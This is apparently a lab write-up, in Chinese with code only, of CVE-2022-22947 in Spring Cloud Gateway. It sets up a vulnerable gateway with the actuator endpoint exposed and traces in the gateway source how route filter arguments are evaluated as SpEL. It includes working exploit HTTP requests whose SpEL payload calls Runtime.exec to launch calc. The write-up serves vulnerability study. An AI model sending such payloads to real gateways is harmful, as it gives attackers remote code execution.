CVE-2022-22947 Spring Cloud Gateway漏洞分析从0到1

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.springcloud</groupId>
    <artifactId>gatewaydemo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>gatewaydemo</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <java.version>1.8</java.version>
        <spring-cloud.version>2021.0.1</spring-cloud.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-gateway</artifactId>
            <version>3.1.0</version>
        </dependency>


        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>
    </dependencies>




    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

server:
    port: 8096


#微服务名称
spring:
    cloud:
        gateway:
            routes:
                - id: find
                  uri: http://127.0.0.1:8080
                  predicates:
                  - Path=/images/index.html

management:
  endpoint:
    gateway:
      enabled: true
  endpoints:
    web:
      exposure:
        include: gateway

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8096
Content-Type: application/json
Content-Length: 185


{
  "id":"hacktest",
  "filters":[{
    "name":"RewritePath",
    "args":{
      "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"calc\")}",
      "_genkey_1": "/${path}"
    }
  }]
}

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8096

public Flux<Route> getRoutes() {
    Flux<Route> routes = this.routeDefinitionLocator.getRouteDefinitions().map(this::convertToRoute);
    if (!this.gatewayProperties.isFailOnRouteDefinitionError()) {
        routes = routes.onErrorContinue((error, obj) -> {
            if (this.logger.isWarnEnabled()) {
                this.logger.warn("RouteDefinition id " + ((RouteDefinition)obj).getId() + " will be ignored. Definition has invalid configs, " + error.getMessage());
            }


        });
    }


    return routes.map((route) -> {
        if (this.logger.isDebugEnabled()) {
            this.logger.debug("RouteDefinition matched: " + route.getId());
        }


        return route;
    });
}

@PostMapping({"/refresh"})
public Mono<Void> refresh() {
    this.publisher.publishEvent(new RefreshRoutesEvent(this));
    return Mono.empty();
}

private Flux<Route> fetch() {
    return this.delegate.getRoutes().sort(AnnotationAwareOrderComparator.INSTANCE);
}

private List<GatewayFilter> getFilters(RouteDefinition routeDefinition) {
    List<GatewayFilter> filters = new ArrayList();
    if (!this.gatewayProperties.getDefaultFilters().isEmpty()) {
        filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(this.gatewayProperties.getDefaultFilters())));
    }


    if (!routeDefinition.getFilters().isEmpty()) {
        filters.addAll(this.loadGatewayFilters(routeDefinition.getId(), new ArrayList(routeDefinition.getFilters())));
    }


    AnnotationAwareOrderComparator.sort(filters);
    return filters;
}

factory.apply(configuration)

Object configuration = this.configurationService.with(factory).name(definition.getName()).properties(definition.getArgs()).eventFunction((bound, properties) -> {
    return new FilterArgsEvent(this, id, (Map)properties);
}).bind();

protected Map<String, Object> normalizeProperties() {
    return this.service.beanFactory != null ? ((ShortcutConfigurable)this.configurable).shortcutType().normalize(this.properties, (ShortcutConfigurable)this.configurable, this.service.parser, this.service.beanFactory) : super.normalizeProperties();
}

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
    String rawValue = entryValue;
    if (entryValue != null) {
        rawValue = entryValue.trim();
    }


    Object value;
    if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
        StandardEvaluationContext context = new StandardEvaluationContext();
        context.setBeanResolver(new BeanFactoryResolver(beanFactory));
        Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
        value = expression.getValue(context);
    } else {
        value = entryValue;
    }


    return value;
}

#{T(java.lang.Runtime).getRuntime().exec("calc")}

CachingRouteLocator#onApplicationEvent
  CachingRouteLocator#fetch
    CompositeRouteLocator#getRoutes
      RouteDefinitionRouteLocator#getRoutes
        RouteDefinitionRouteLocator#convertToRoute
          RouteDefinitionRouteLocator#getFilters
            RouteDefinitionRouteLocator#loadGatewayFilters
              ConfigurationService$AbstractBuilder#bind
                ConfigurationService$ConfigurableBuilder#normalizeProperties
                  ShortcutConfigurable$ShortcutType$1#normalize
                    ShortcutConfigurable#getValue